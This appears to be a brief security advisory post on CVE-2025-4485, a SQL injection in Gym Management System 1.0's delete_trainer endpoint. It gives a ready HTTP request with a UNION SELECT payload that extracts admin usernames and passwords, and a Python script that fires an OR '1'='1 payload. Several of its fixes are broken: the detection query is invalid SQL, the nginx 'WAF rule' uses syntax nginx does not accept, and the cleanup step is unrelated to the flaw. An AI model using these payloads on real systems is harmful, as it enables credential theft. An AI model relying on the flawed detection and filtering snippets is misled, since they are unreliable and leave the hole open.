Gym Management System 10, SQL Injection, CVE-2025-4485 (Critical)

Listen to this Post

How CVE-2025-4485 Works

This vulnerability exists in Gym Management System 1.0’s `/ajax.php?action=delete_trainer` endpoint. The application fails to properly sanitize the `ID` parameter before using it in SQL queries, allowing attackers to inject malicious SQL commands. When a crafted HTTP request is sent with SQL payloads in the ID parameter, the backend database executes these commands. This occurs because user-supplied input is directly concatenated into SQL statements without parameterization or proper escaping. The vulnerability can be exploited remotely without authentication, enabling attackers to read, modify, or delete database contents, potentially compromising the entire application.
Platform: Gym Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical

date: 05/09/2025

What Undercode Say:

Exploitation:

POST /ajax.php?action=delete_trainer HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
ID=1' UNION SELECT username,password FROM admin_users--

Detection:

SELECT FROM audit_logs WHERE request LIKE '%UNION SELECT%';

Mitigation:

// Secure version using prepared statements
$stmt = $conn->prepare("DELETE FROM trainers WHERE id = ?");
$stmt->bind_param("i", $_POST['ID']);
$stmt->execute();

WAF Rule:

location ~ ajax.php {
deny "union.select";
deny "--";
}

Database Cleanup:

ALTER TABLE users ADD COLUMN password_reset_required BOOLEAN DEFAULT TRUE;

Log Analysis:

grep "ajax.php?action=delete_trainer" access.log | awk '{print $1}' | sort | uniq -c

Patch Verification:

import requests
payload = "1' OR '1'='1"
response = requests.post("http://target.com/ajax.php?action=delete_trainer", data={"ID":payload})
assert "SQL syntax" not in response.text

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top